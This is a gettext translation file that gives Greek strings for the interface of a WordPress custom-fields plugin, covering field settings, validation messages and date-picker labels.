msgid "Title"
msgstr "Τίτλος"

#: includes/assets.php:371 includes/forms/form-comment.php:160
#: assets/build/js/acf-input.js:7310 assets/build/js/acf-input.js:7876
msgid "Edit field group"
msgstr "Επεξεργασία field group"

#: includes/admin/admin-field-group.php:181 assets/build/js/acf-input.js:1125
#: assets/build/js/acf-input.js:1230
msgid "Selection is less than"
msgstr "Η επιλογή να είναι μικρότερη από"

#: includes/admin/admin-field-group.php:180 assets/build/js/acf-input.js:1106
#: assets/build/js/acf-input.js:1202
msgid "Selection is greater than"
msgstr "Η επιλογή να είναι μεγαλύτερη από"

#: includes/admin/admin-field-group.php:179 assets/build/js/acf-input.js:1075
#: assets/build/js/acf-input.js:1170
msgid "Value is less than"
msgstr "Η τιμή να είναι μικρότερη από"

#: includes/admin/admin-field-group.php:178 assets/build/js/acf-input.js:1045
#: assets/build/js/acf-input.js:1139
msgid "Value is greater than"
msgstr "Η τιμή να είναι μεγαλύτερη από"

#: includes/admin/admin-field-group.php:177 assets/build/js/acf-input.js:888
#: assets/build/js/acf-input.js:960
msgid "Value contains"
msgstr "Η τιμη να περιέχει"

#: includes/admin/admin-field-group.php:176 assets/build/js/acf-input.js:862
#: assets/build/js/acf-input.js:926
msgid "Value matches pattern"
msgstr "Η τιμή να ικανοποιεί το μοτίβο"

#: includes/admin/admin-field-group.php:175 assets/build/js/acf-input.js:840
#: assets/build/js/acf-input.js:1023 assets/build/js/acf-input.js:903
#: assets/build/js/acf-input.js:1116
msgid "Value is not equal to"
msgstr "Η τιμή να μην είναι ίση με"

#: includes/admin/admin-field-group.php:174 assets/build/js/acf-input.js:810
#: assets/build/js/acf-input.js:964 assets/build/js/acf-input.js:864
#: assets/build/js/acf-input.js:1053
msgid "Value is equal to"
msgstr "Η τιμή να είναι ίση με"

#: includes/admin/admin-field-group.php:173 assets/build/js/acf-input.js:788
#: assets/build/js/acf-input.js:841
msgid "Has no value"
msgstr "Να μην έχει καμία τιμή"

#: includes/admin/admin-field-group.php:172 assets/build/js/acf-input.js:758
#: assets/build/js/acf-input.js:783
msgid "Has any value"
msgstr "Να έχει οποιαδήποτε τιμή"

#: includes/assets.php:352 assets/build/js/acf.js:1524
#: assets/build/js/acf.js:1604
msgid "Cancel"
msgstr "Ακύρωση"

#: includes/assets.php:348 assets/build/js/acf.js:1698
#: assets/build/js/acf.js:1801
msgid "Are you sure?"
msgstr "Είστε σίγουροι;"

#: includes/assets.php:368 assets/build/js/acf-input.js:9343
#: assets/build/js/acf-input.js:10172
msgid "%d fields require attention"
msgstr "%d πεδία χρήζουν προσοχής"

#: includes/assets.php:367 assets/build/js/acf-input.js:9341
#: assets/build/js/acf-input.js:10168
msgid "1 field requires attention"
msgstr "1 πεδίο χρήζει προσοχής"

#: includes/assets.php:366 includes/validation.php:287
#: includes/validation.php:297 assets/build/js/acf-input.js:9336
#: assets/build/js/acf-input.js:10163
msgid "Validation failed"
msgstr "Ο έλεγχος απέτυχε"

#: includes/assets.php:365 assets/build/js/acf-input.js:9499
#: assets/build/js/acf-input.js:10346
msgid "Validation successful"
msgstr "Ο έλεγχος πέτυχε"

#: includes/media.php:54 assets/build/js/acf-input.js:7138
#: assets/build/js/acf-input.js:7680
msgid "Restricted"
msgstr "Περιορισμένος"

#: includes/media.php:53 assets/build/js/acf-input.js:6953
#: assets/build/js/acf-input.js:7444
msgid "Collapse Details"
msgstr "Σύμπτυξη Λεπτομερειών"

#: includes/media.php:52 assets/build/js/acf-input.js:6953
#: assets/build/js/acf-input.js:7441
msgid "Expand Details"
msgstr "Ανάπτυξη Λεπτομερειών"

#: includes/media.php:51 assets/build/js/acf-input.js:6820
#: assets/build/js/acf-input.js:7289
msgid "Uploaded to this post"
msgstr "Να έχουν μεταφορτωθεί σε αυτή την ανάρτηση"

#: includes/media.php:50 assets/build/js/acf-input.js:6859
#: assets/build/js/acf-input.js:7328
msgctxt "verb"
msgid "Update"
msgstr "Ενημέρωση"

#: includes/media.php:49
msgctxt "verb"
msgid "Edit"
msgstr "Επεξεργασία"

#: includes/assets.php:362 assets/build/js/acf-input.js:9113
#: assets/build/js/acf-input.js:9934
msgid "The changes you made will be lost if you navigate away from this page"
msgstr "Οι αλλαγές που έχετε κάνει θα χαθούν αν φύγετε από αυτή τη σελίδα."

#: includes/api/api-helpers.php:3395
msgid "File type must be %s."
msgstr "Ο τύπος του πεδίου πρέπει να είναι %s."

#: includes/admin/admin-field-group.php:167
#: includes/admin/views/field-group-field-conditional-logic.php:59
#: includes/admin/views/field-group-field-conditional-logic.php:169
#: includes/admin/views/field-group-locations.php:36
#: includes/admin/views/html-location-group.php:3
#: includes/api/api-helpers.php:3391 assets/build/js/acf-field-group.js:492
#: assets/build/js/acf-field-group.js:1973
#: assets/build/js/acf-field-group.js:544
#: assets/build/js/acf-field-group.js:2210
msgid "or"
msgstr "ή"

#: includes/api/api-helpers.php:3364
msgid "File size must not exceed %s."
msgstr "Το μέγεθος του αρχείου πρέπει να το πολύ %s."

#: includes/api/api-helpers.php:3359
msgid "File size must be at least %s."
msgstr "Το μέγεθος το αρχείου πρέπει να είναι τουλάχιστον %s."

#: includes/api/api-helpers.php:3344
msgid "Image height must not exceed %dpx."
msgstr "Το ύψος της εικόνας πρέπει να είναι το πολύ %dpx."

#: includes/api/api-helpers.php:3339
msgid "Image height must be at least %dpx."
msgstr "Το ύψος της εικόνας πρέπει να είναι τουλάχιστον %dpx."

#: includes/api/api-helpers.php:3325
msgid "Image width must not exceed %dpx."
msgstr "Το πλάτος της εικόνας πρέπει να είναι το πολύ %dpx."

#: includes/api/api-helpers.php:3320
msgid "Image width must be at least %dpx."
msgstr "Το πλάτος της εικόνας πρέπει να είναι τουλάχιστον %dpx."

#: includes/api/api-helpers.php:1566 includes/api/api-term.php:147
msgid "(no title)"
msgstr "(χωρίς τίτλο)"

#: includes/api/api-helpers.php:861
msgid "Full Size"
msgstr "Πλήρες μέγεθος"

#: includes/api/api-helpers.php:820
msgid "Large"
msgstr "Μεγάλο"

#: includes/api/api-helpers.php:819
msgid "Medium"
msgstr "Μεσαίο"

#: includes/api/api-helpers.php:818
msgid "Thumbnail"
msgstr "Μικρογραφία"

#: includes/acf-field-functions.php:846
#: includes/admin/admin-field-group.php:164
#: assets/build/js/acf-field-group.js:789
#: assets/build/js/acf-field-group.js:859
msgid "(no label)"
msgstr "(χωρίς ετικέτα)"

#: includes/fields/class-acf-field-textarea.php:142
msgid "Sets the textarea height"
msgstr "Θέτει το ύψος του πεδίου κειμένου"

#: includes/fields/class-acf-field-textarea.php:141
msgid "Rows"
msgstr "Γραμμές"

#: includes/fields/class-acf-field-textarea.php:25
msgid "Text Area"
msgstr "Πεδίο κειμένου πολλών γραμμών"

#: includes/fields/class-acf-field-checkbox.php:447
msgid "Prepend an extra checkbox to toggle all choices"
msgstr "Εμφάνιση επιπλέον πεδίου checkbox που εναλλάσσει όλες τις επιλογές"

#: includes/fields/class-acf-field-checkbox.php:409
msgid "Save 'custom' values to the field's choices"
msgstr "Αποθήκευση των 'custom' τιμών στις επιλογές του πεδίου"

#: includes/fields/class-acf-field-checkbox.php:398
msgid "Allow 'custom' values to be added"
msgstr "Να επιτρέπεται η προσθήκη 'custom' τιμών"

#: includes/fields/class-acf-field-checkbox.php:233
msgid "Add new choice"
msgstr "Προσθήκη νέας τιμής"

#: includes/fields/class-acf-field-checkbox.php:170
msgid "Toggle All"
msgstr "Εναλλαγή Όλων"

#: includes/fields/class-acf-field-page_link.php:477
msgid "Allow Archives URLs"
msgstr "Να Επιτρέπονται τα URL των Archive"

#: includes/fields/class-acf-field-page_link.php:165
msgid "Archives"
msgstr "Archive"

#: includes/fields/class-acf-field-page_link.php:25
msgid "Page Link"
msgstr "Σύνδεσμος Σελίδας"

#: includes/fields/class-acf-field-taxonomy.php:945
#: includes/locations/class-acf-location-user-form.php:72
msgid "Add"
msgstr "Προσθήκη"

#: includes/admin/views/field-group-fields.php:42
#: includes/fields/class-acf-field-taxonomy.php:910
msgid "Name"
msgstr "Όνομα"

#: includes/fields/class-acf-field-taxonomy.php:894
msgid "%s added"
msgstr "%s προστέθηκε"

#: includes/fields/class-acf-field-taxonomy.php:858
msgid "%s already exists"
msgstr "%s υπάρχει ήδη"

#: includes/fields/class-acf-field-taxonomy.php:846
msgid "User unable to add new %s"
msgstr "Ο Χρήστης δεν ήταν δυνατό να προσθέσει νέο %s"

#: includes/fields/class-acf-field-taxonomy.php:756
msgid "Term ID"
msgstr "ID όρου"

#: includes/fields/class-acf-field-taxonomy.php:755
msgid "Term Object"
msgstr "Object όρου"

#: includes/fields/class-acf-field-taxonomy.php:740
msgid "Load value from posts terms"
msgstr "Φόρτωση τιμής από τους όρους της ανάρτησης"

#: includes/fields/class-acf-field-taxonomy.php:739
msgid "Load Terms"
msgstr "Φόρτωση Όρων"

#: includes/fields/class-acf-field-taxonomy.php:729
msgid "Connect selected terms to the post"
msgstr "Σύνδεση επιλεγμένων όρων στο άρθρο"

#: includes/fields/class-acf-field-taxonomy.php:728
msgid "Save Terms"
msgstr "Αποθήκευση Όρων"

#: includes/fields/class-acf-field-taxonomy.php:718
msgid "Allow new terms to be created whilst editing"
msgstr "Να επιτρέπεται η δημιουργία νέων όρων κατά την επεξεργασία"

#: includes/fields/class-acf-field-taxonomy.php:717
msgid "Create Terms"
msgstr "Δημιουργία Όρων"

#: includes/fields/class-acf-field-taxonomy.php:776
msgid "Radio Buttons"
msgstr "Radio Button"

#: includes/fields/class-acf-field-taxonomy.php:775
msgid "Single Value"
msgstr "Μοναδική Τιμή"

#: includes/fields/class-acf-field-taxonomy.php:773
msgid "Multi Select"
msgstr "Πολλαπλή Επιλογή"

#: includes/fields/class-acf-field-checkbox.php:25
#: includes/fields/class-acf-field-taxonomy.php:772
msgid "Checkbox"
msgstr "Checkbox"

#: includes/fields/class-acf-field-taxonomy.php:771
msgid "Multiple Values"
msgstr "Πολλαπλές Τιμές"

#: includes/fields/class-acf-field-taxonomy.php:766
msgid "Select the appearance of this field"
msgstr "Επιλέξτε την εμφάνιση αυτού του πεδίου"

#: includes/fields/class-acf-field-taxonomy.php:765
msgid "Appearance"
msgstr "Εμφάνιση"

#: includes/fields/class-acf-field-taxonomy.php:707
msgid "Select the taxonomy to be displayed"
msgstr "Επιλέξτε την ταξινομία οπυ θέλετε να εμφανιστεί"

#: includes/fields/class-acf-field-taxonomy.php:668
msgctxt "No Terms"
msgid "No %s"
msgstr "Κανένα %s"

#: includes/fields/class-acf-field-number.php:263
msgid "Value must be equal to or lower than %d"
msgstr "Η τιμή πρέπι να είναι ίση ή μικρότερη από %d"

#: includes/fields/class-acf-field-number.php:256
msgid "Value must be equal to or higher than %d"
msgstr "Η τιμή πρέπει να είναι ίση ή μεγαλύτερη από %d"

#: includes/fields/class-acf-field-number.php:241
msgid "Value must be a number"
msgstr "Η τιμή πρέπει να είναι αριθμός"

#: includes/fields/class-acf-field-number.php:25
msgid "Number"
msgstr "Αριθμός"

#: includes/fields/class-acf-field-radio.php:261
msgid "Save 'other' values to the field's choices"
msgstr "Αποθήκευση των \"άλλων\" τιμών στις επιλογές του πεδίου"

#: includes/fields/class-acf-field-radio.php:250
msgid "Add 'other' choice to allow for custom values"
msgstr "Προσθήκη επιλογής \"άλλο\" ώστε να επιτρέπονται προσαρμοσμένες τιμές"

#: includes/fields/class-acf-field-radio.php:25
msgid "Radio Button"
msgstr "Radio Button"

#: includes/fields/class-acf-field-accordion.php:104
msgid ""
"Define an endpoint for the previous accordion to stop. This accordion will "
"not be visible."
msgstr ""
"Προσδιορίστε ένα σημείο άκρου στο οποίο το προηγούμενο accordion κλείνει. "
"Αυτό δε θα είναι κάτι ορατό."

#: includes/fields/class-acf-field-accordion.php:93
msgid "Allow this accordion to open without closing others."
msgstr "Επιτρέψτε σε αυτό το accordion να ανοίγει χωρίς να κλείνουν τα άλλα."

#: includes/fields/class-acf-field-accordion.php:92
msgid "Multi-expand"
msgstr "Πολλαπλό Άνοιγμα"

#: includes/fields/class-acf-field-accordion.php:82
msgid "Display this accordion as open on page load."
msgstr "Αυτό το accordion να είναι ανοιχτό κατά τη φόρτωση της σελίδας."

#: includes/fields/class-acf-field-accordion.php:81
msgid "Open"
msgstr "Άνοιγμα"

#: includes/fields/class-acf-field-accordion.php:25
msgid "Accordion"
msgstr "Ακορντεόν"

#: includes/fields/class-acf-field-file.php:264
#: includes/fields/class-acf-field-file.php:276
msgid "Restrict which files can be uploaded"
msgstr "Περιορίστε τα είδη των αρχείων που επιτρέπονται για μεταφόρτωση"

#: includes/fields/class-acf-field-file.php:217
msgid "File ID"
msgstr "ID Αρχείου"

#: includes/fields/class-acf-field-file.php:216
msgid "File URL"
msgstr "URL Αρχείου"

#: includes/fields/class-acf-field-file.php:215
msgid "File Array"
msgstr "Array Αρχείων"

#: includes/fields/class-acf-field-file.php:183
msgid "Add File"
msgstr "Προσθήκη Αρχείου"

#: includes/admin/tools/class-acf-admin-tool-import.php:94
#: includes/fields/class-acf-field-file.php:183
msgid "No file selected"
msgstr "Δεν επιλέχθηκε αρχείο"

#: includes/fields/class-acf-field-file.php:147
msgid "File name"
msgstr "Όνομα αρχείου"

#: includes/fields/class-acf-field-file.php:60
#: assets/build/js/acf-input.js:2466 assets/build/js/acf-input.js:2612
msgid "Update File"
msgstr "Ενημέρωση Αρχείου"

#: includes/fields/class-acf-field-file.php:59
#: assets/build/js/acf-input.js:2465 assets/build/js/acf-input.js:2611
msgid "Edit File"
msgstr "Επεξεργασία Αρχείου"

#: includes/admin/tools/class-acf-admin-tool-import.php:59
#: includes/fields/class-acf-field-file.php:58
#: assets/build/js/acf-input.js:2439 assets/build/js/acf-input.js:2584
msgid "Select File"
msgstr "Επιλογή Αρχείου"

#: includes/fields/class-acf-field-file.php:25
msgid "File"
msgstr "Αρχείο"

#: includes/fields/class-acf-field-password.php:25
msgid "Password"
msgstr "Συνθηματικό"

#: includes/fields/class-acf-field-select.php:391
msgid "Specify the value returned"
msgstr "Προσδιορίστε την επιστρεφόμενη τιμή"

#: includes/fields/class-acf-field-select.php:460
msgid "Use AJAX to lazy load choices?"
msgstr "Χρήση AJAX για τη φόρτωση των τιμών με καθυστέρηση;"

#: includes/fields/class-acf-field-checkbox.php:358
#: includes/fields/class-acf-field-select.php:380
msgid "Enter each default value on a new line"
msgstr "Εισαγάγετε την κάθε προεπιλεγμένη τιμή σε μια νέα γραμμή"

#: includes/fields/class-acf-field-select.php:255 includes/media.php:48
#: assets/build/js/acf-input.js:6718 assets/build/js/acf-input.js:7174
msgctxt "verb"
msgid "Select"
msgstr "Επιλέξτε"

#: includes/fields/class-acf-field-select.php:118
msgctxt "Select2 JS load_fail"
msgid "Loading failed"
msgstr "Η φόρτωση απέτυχε"

#: includes/fields/class-acf-field-select.php:117
msgctxt "Select2 JS searching"
msgid "Searching&hellip;"
msgstr "Αναζήτηση&hellip;"

#: includes/fields/class-acf-field-select.php:116
msgctxt "Select2 JS load_more"
msgid "Loading more results&hellip;"
msgstr "Φόρτωση περισσότερων αποτελεσμάτων&hellip;"

#: includes/fields/class-acf-field-select.php:115
msgctxt "Select2 JS selection_too_long_n"
msgid "You can only select %d items"
msgstr "Μπορείτε να επιλέξετε μόνο %d αντικείμενα"

#: includes/fields/class-acf-field-select.php:114
msgctxt "Select2 JS selection_too_long_1"
msgid "You can only select 1 item"
msgstr "Μπορείτε να επιλέξετε μόνο 1 αντικείμενο"

#: includes/fields/class-acf-field-select.php:113
msgctxt "Select2 JS input_too_long_n"
msgid "Please delete %d characters"
msgstr "Παρακαλούμε διαγράψτε %d χαρακτήρες"

#: includes/fields/class-acf-field-select.php:112
msgctxt "Select2 JS input_too_long_1"
msgid "Please delete 1 character"
msgstr "Παρακαλούμε διαγράψτε 1 χαρακτήρα"

#: includes/fields/class-acf-field-select.php:111
msgctxt "Select2 JS input_too_short_n"
msgid "Please enter %d or more characters"
msgstr "Παρακαλούμε εισαγάγετε %d ή περισσότερους χαρακτήρες"

#: includes/fields/class-acf-field-select.php:110
msgctxt "Select2 JS input_too_short_1"
msgid "Please enter 1 or more characters"
msgstr "Παρακαλούμε εισαγάγετε 1 ή περισσότερους χαρακτήρες"

#: includes/fields/class-acf-field-select.php:109
msgctxt "Select2 JS matches_0"
msgid "No matches found"
msgstr "Δε βρέθηκαν αποτελέσματα που να ταιριάζουν"

#: includes/fields/class-acf-field-select.php:108
msgctxt "Select2 JS matches_n"
msgid "%d results are available, use up and down arrow keys to navigate."
msgstr ""
"Υπάρχουν %d αποτελέσματα διαθέσιμα, χρησιμοποιήσετε τα πλήκτρα πάνω και κάτω "
"για να μεταβείτε σε αυτά."

#: includes/fields/class-acf-field-select.php:107
msgctxt "Select2 JS matches_1"
msgid "One result is available, press enter to select it."
msgstr "Ένα αποτέλεσμα είναι διαθέσιμο, πατήστε enter για να το επιλέξετε."

#: includes/fields/class-acf-field-select.php:25
#: includes/fields/class-acf-field-taxonomy.php:777
msgctxt "noun"
msgid "Select"
msgstr "Επιλογή"

#: includes/fields/class-acf-field-user.php:74
msgid "User ID"
msgstr "ID Χρήστη"

#: includes/fields/class-acf-field-user.php:73
msgid "User Object"
msgstr "Object Χρήστη"

#: includes/fields/class-acf-field-user.php:72
msgid "User Array"
msgstr "Array Χρήστη"

#: includes/fields/class-acf-field-user.php:60
msgid "All user roles"
msgstr "Όλοι οι ρόλοι χρηστών"

#: includes/fields/class-acf-field-user.php:52
msgid "Filter by role"
msgstr "Φιλτράρισμα κατά ρόλο"

#: includes/fields/class-acf-field-user.php:20 includes/locations.php:101
msgid "User"
msgstr "Χρήστης"

#: includes/fields/class-acf-field-separator.php:25
msgid "Separator"
msgstr "Διαχωριστικό"

#: includes/fields/class-acf-field-color_picker.php:73
msgid "Select Color"
msgstr "Επιλογή Χρώματος"

#: includes/fields/class-acf-field-color_picker.php:71
msgid "Default"
msgstr "Προεπιλογή"

#: includes/fields/class-acf-field-color_picker.php:69
msgid "Clear"
msgstr "Καθαρισμός"

#: includes/fields/class-acf-field-color_picker.php:25
msgid "Color Picker"
msgstr "Επιλογέας Χρωμάτων"

#: includes/fields/class-acf-field-date_time_picker.php:85
msgctxt "Date Time Picker JS pmTextShort"
msgid "P"
msgstr "ΜΜ"

#: includes/fields/class-acf-field-date_time_picker.php:84
msgctxt "Date Time Picker JS pmText"
msgid "PM"
msgstr "ΜΜ"

#: includes/fields/class-acf-field-date_time_picker.php:81
msgctxt "Date Time Picker JS amTextShort"
msgid "A"
msgstr "ΠΜ"

#: includes/fields/class-acf-field-date_time_picker.php:80
msgctxt "Date Time Picker JS amText"
msgid "AM"
msgstr "ΠΜ"

#: includes/fields/class-acf-field-date_time_picker.php:78
msgctxt "Date Time Picker JS selectText"
msgid "Select"
msgstr "Επιλογή"

#: includes/fields/class-acf-field-date_time_picker.php:77
msgctxt "Date Time Picker JS closeText"
msgid "Done"
msgstr "Ολοκληρώθηκε"

#: includes/fields/class-acf-field-date_time_picker.php:76
msgctxt "Date Time Picker JS currentText"
msgid "Now"
msgstr "Τώρα"

#: includes/fields/class-acf-field-date_time_picker.php:75
msgctxt "Date Time Picker JS timezoneText"
msgid "Time Zone"
msgstr "Ζώνη Ώρας"

#: includes/fields/class-acf-field-date_time_picker.php:74
msgctxt "Date Time Picker JS microsecText"
msgid "Microsecond"
msgstr "Μικροδευτερόλεπτο"

#: includes/fields/class-acf-field-date_time_picker.php:73
msgctxt "Date Time Picker JS millisecText"
msgid "Millisecond"
msgstr "Χιλιοστό του δευτερολέπτου"

#: includes/fields/class-acf-field-date_time_picker.php:72
msgctxt "Date Time Picker JS secondText"
msgid "Second"
msgstr "Δευτερόλεπτο"

#: includes/fields/class-acf-field-date_time_picker.php:71
msgctxt "Date Time Picker JS minuteText"
msgid "Minute"
msgstr "Λεπτό"

#: includes/fields/class-acf-field-date_time_picker.php:70
msgctxt "Date Time Picker JS hourText"
msgid "Hour"
msgstr "Ώρα"

#: includes/fields/class-acf-field-date_time_picker.php:69
msgctxt "Date Time Picker JS timeText"
msgid "Time"
msgstr "Ώρα"

#: includes/fields/class-acf-field-date_time_picker.php:68
msgctxt "Date Time Picker JS timeOnlyTitle"
msgid "Choose Time"
msgstr "Επιλέξτε Ώρα"

#: includes/fields/class-acf-field-date_time_picker.php:25
msgid "Date Time Picker"
msgstr "Επιλογέας Ημερομηνίας και Ώρας"

#: includes/fields/class-acf-field-accordion.php:103
msgid "Endpoint"
msgstr "Endpoint"

#: includes/admin/views/field-group-options.php:95
#: includes/fields/class-acf-field-tab.php:112
msgid "Left aligned"
msgstr "Αριστερή στοίχιση"

#: includes/admin/views/field-group-options.php:94
#: includes/fields/class-acf-field-tab.php:111
msgid "Top aligned"
msgstr "Στοίχιση στην κορυφή"

#: includes/fields/class-acf-field-tab.php:107
msgid "Placement"
msgstr "Τοποθέτηση"

#: includes/fields/class-acf-field-tab.php:26
msgid "Tab"
msgstr "Καρτέλα"

#: includes/fields/class-acf-field-url.php:159
msgid "Value must be a valid URL"
msgstr "Η τιμή πρέπει να είναι ένα έγκυρο URL "

#: includes/fields/class-acf-field-url.php:25
msgid "Url"
msgstr "Url"

#: includes/fields/class-acf-field-link.php:174
msgid "Link URL"
msgstr "Σύνδεσμος URL"

#: includes/fields/class-acf-field-link.php:173
msgid "Link Array"
msgstr "Link Array"

#: includes/fields/class-acf-field-link.php:142
msgid "Opens in a new window/tab"
msgstr "Ανοίγει σε νέο παράθυρο/καρτέλα"

#: includes/fields/class-acf-field-link.php:137
msgid "Select Link"
msgstr "Επιλογή Συνδέσμου"

#: includes/fields/class-acf-field-link.php:25
msgid "Link"
msgstr "Σύνδεσμος"

#: includes/fields/class-acf-field-email.php:25
msgid "Email"
msgstr "Email"

#: includes/fields/class-acf-field-number.php:185
#: includes/fields/class-acf-field-range.php:214
msgid "Step Size"
msgstr "Μέγεθος Βήματος"

#: includes/fields/class-acf-field-number.php:155
#: includes/fields/class-acf-field-range.php:192
msgid "Maximum Value"
msgstr "Μέγιστη Τιμή"

#: includes/fields/class-acf-field-number.php:145
#: includes/fields/class-acf-field-range.php:181
msgid "Minimum Value"
msgstr "Ελάχιστη Τιμή"

#: includes/fields/class-acf-field-range.php:25
msgid "Range"
msgstr "Εύρος"

#: includes/fields/class-acf-field-button-group.php:172
#: includes/fields/class-acf-field-checkbox.php:375
#: includes/fields/class-acf-field-radio.php:217
#: includes/fields/class-acf-field-select.php:398
msgid "Both (Array)"
msgstr "Και τα δύο (Array)"

#: includes/admin/views/field-group-fields.php:41
#: includes/fields/class-acf-field-button-group.php:171
#: includes/fields/class-acf-field-checkbox.php:374
#: includes/fields/class-acf-field-radio.php:216
#: includes/fields/class-acf-field-select.php:397
msgid "Label"
msgstr "Ετικέτα"

#: includes/fields/class-acf-field-button-group.php:170
#: includes/fields/class-acf-field-checkbox.php:373
#: includes/fields/class-acf-field-radio.php:215
#: includes/fields/class-acf-field-select.php:396
msgid "Value"
msgstr "Τιμή"

#: includes/fields/class-acf-field-button-group.php:219
#: includes/fields/class-acf-field-checkbox.php:437
#: includes/fields/class-acf-field-radio.php:289
msgid "Vertical"
msgstr "Κατακόρυφα"

#: includes/fields/class-acf-field-button-group.php:218
#: includes/fields/class-acf-field-checkbox.php:438
#: includes/fields/class-acf-field-radio.php:290
msgid "Horizontal"
msgstr "Οριζόντια"

#: includes/fields/class-acf-field-button-group.php:145
#: includes/fields/class-acf-field-checkbox.php:348
#: includes/fields/class-acf-field-radio.php:190
#: includes/fields/class-acf-field-select.php:369
msgid "red : Red"
msgstr "κόκκινο : Κόκκινο"

#: includes/fields/class-acf-field-button-group.php:145
#: includes/fields/class-acf-field-checkbox.php:348
#: includes/fields/class-acf-field-radio.php:190
#: includes/fields/class-acf-field-select.php:369
msgid "For more control, you may specify both a value and label like this:"
msgstr ""
"Για μεγαλύτερο έλεγχο μπορείτε να δηλώσετε μια τιμή και μια ετικέτα ως εξής:"

#: includes/fields/class-acf-field-button-group.php:145
#: includes/fields/class-acf-field-checkbox.php:348
#: includes/fields/class-acf-field-radio.php:190
#: includes/fields/class-acf-field-select.php:369
msgid "Enter each choice on a new line."
msgstr "Προσθέστε κάθε επιλογή σε μια νέα γραμμή."

#: includes/fields/class-acf-field-button-group.php:144
#: includes/fields/class-acf-field-checkbox.php:347
#: includes/fields/class-acf-field-radio.php:189
#: includes/fields/class-acf-field-select.php:368
msgid "Choices"
msgstr "Επιλογές"

#: includes/fields/class-acf-field-button-group.php:24
msgid "Button Group"
msgstr "Ομάδα Κουμπιών"

#: includes/fields/class-acf-field-page_link.php:488
#: includes/fields/class-acf-field-post_object.php:404
#: includes/fields/class-acf-field-select.php:406
#: includes/fields/class-acf-field-user.php:83
msgid "Select multiple values?"
msgstr "Επιλογή πολλαπλών τιμών;"

#: includes/fields/class-acf-field-button-group.php:191
#: includes/fields/class-acf-field-page_link.php:509
#: includes/fields/class-acf-field-post_object.php:426
#: includes/fields/class-acf-field-radio.php:235
#: includes/fields/class-acf-field-select.php:428
#: includes/fields/class-acf-field-taxonomy.php:786
#: includes/fields/class-acf-field-user.php:104
msgid "Allow Null?"
msgstr "Να επιτρέπονται Null;"

#: includes/fields/class-acf-field-page_link.php:249
#: includes/fields/class-acf-field-post_object.php:250
#: includes/fields/class-acf-field-taxonomy.php:932
msgid "Parent"
msgstr "Γονέας"

#: includes/fields/class-acf-field-wysiwyg.php:394
msgid "TinyMCE will not be initialized until field is clicked"
msgstr "Ο TinyMCE δε θα αρχικοποιηθεί έως ότου ο χρήστης κλικάρει το πεδίο"

#: includes/fields/class-acf-field-wysiwyg.php:393
msgid "Delay initialization?"
msgstr "Καθυστέρηση αρχικοποίησης;"

#: includes/fields/class-acf-field-wysiwyg.php:382
msgid "Show Media Upload Buttons?"
msgstr "Εμφάνιση Κουμπιών Μεταφόρτωσης Πολυμέσων;"

#: includes/fields/class-acf-field-wysiwyg.php:366
msgid "Toolbar"
msgstr "Γραμμή εργαλείων"

#: includes/fields/class-acf-field-wysiwyg.php:358
msgid "Text Only"
msgstr "Μόνο Κείμενο"

#: includes/fields/class-acf-field-wysiwyg.php:357
msgid "Visual Only"
msgstr "Μόνο Οπτικός"

#: includes/fields/class-acf-field-wysiwyg.php:356
msgid "Visual & Text"
msgstr "Οπτικός & Κείμενο"

#: includes/fields/class-acf-field-wysiwyg.php:351
msgid "Tabs"
msgstr "Καρτέλες"

#: includes/fields/class-acf-field-wysiwyg.php:289
msgid "Click to initialize TinyMCE"
msgstr "Κάνετε κλικ για να αρχικοποιηθεί ο TinyMCE"

#: includes/fields/class-acf-field-wysiwyg.php:283
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "Κείμενο"

#: includes/fields/class-acf-field-wysiwyg.php:282
msgid "Visual"
msgstr "Οπτικός"

#: includes/fields/class-acf-field-wysiwyg.php:25
msgid "Wysiwyg Editor"
msgstr "Επεξεργαστής Wysiwyg"

#: includes/fields/class-acf-field-text.php:180
#: includes/fields/class-acf-field-textarea.php:233
msgid "Value must not exceed %d characters"
msgstr "Η τιμή πρέπει να μην ξεπερνά τους %d χαρακτήρες"

#: includes/fields/class-acf-field-text.php:115
#: includes/fields/class-acf-field-textarea.php:121
msgid "Leave blank for no limit"
msgstr "Αφήστε κενό για να μην υπάρχει όριο"

#: includes/fields/class-acf-field-text.php:114
#: includes/fields/class-acf-field-textarea.php:120
msgid "Character Limit"
msgstr "Όριο Χαρακτήρων"

#: includes/fields/class-acf-field-email.php:155
#: includes/fields/class-acf-field-number.php:206
#: includes/fields/class-acf-field-password.php:102
#: includes/fields/class-acf-field-range.php:236
#: includes/fields/class-acf-field-text.php:155
msgid "Appears after the input"
msgstr "Εμφανίζεται μετά το πεδίο εισαγωγής"

#: includes/fields/class-acf-field-email.php:154
#: includes/fields/class-acf-field-number.php:205
#: includes/fields/class-acf-field-password.php:101
#: includes/fields/class-acf-field-range.php:235
#: includes/fields/class-acf-field-text.php:154
msgid "Append"
msgstr "Προσάρτηση στο τέλος"

#: includes/fields/class-acf-field-email.php:145
#: includes/fields/class-acf-field-number.php:196
#: includes/fields/class-acf-field-password.php:92
#: includes/fields/class-acf-field-range.php:226
#: includes/fields/class-acf-field-text.php:145
msgid "Appears before the input"
msgstr "Εμφανίζεται πριν το πεδίο εισαγωγής"

#: includes/fields/class-acf-field-email.php:144
#: includes/fields/class-acf-field-number.php:195
#: includes/fields/class-acf-field-password.php:91
#: includes/fields/class-acf-field-range.php:225
#: includes/fields/class-acf-field-text.php:144
msgid "Prepend"
msgstr "Προσάρτηση στην αρχή"

#: includes/fields/class-acf-field-email.php:135
#: includes/fields/class-acf-field-number.php:176
#: includes/fields/class-acf-field-password.php:82
#: includes/fields/class-acf-field-text.php:135
#: includes/fields/class-acf-field-textarea.php:153
#: includes/fields/class-acf-field-url.php:119
msgid "Appears within the input"
msgstr "Εμφανίζεται εντός του πεδίου εισαγωγής"

#: includes/fields/class-acf-field-email.php:134
#: includes/fields/class-acf-field-number.php:175
#: includes/fields/class-acf-field-password.php:81
#: includes/fields/class-acf-field-text.php:134
#: includes/fields/class-acf-field-textarea.php:152
#: includes/fields/class-acf-field-url.php:118
msgid "Placeholder Text"
msgstr "Υποκατάστατο Κείμενο"

#: includes/fields/class-acf-field-button-group.php:155
#: includes/fields/class-acf-field-email.php:115
#: includes/fields/class-acf-field-number.php:126
#: includes/fields/class-acf-field-radio.php:200
#: includes/fields/class-acf-field-range.php:162
#: includes/fields/class-acf-field-text.php:95
#: includes/fields/class-acf-field-textarea.php:101
#: includes/fields/class-acf-field-url.php:99
#: includes/fields/class-acf-field-wysiwyg.php:316
msgid "Appears when creating a new post"
msgstr "Εμφανίζεται κατά τη δημιουργία νέου post"

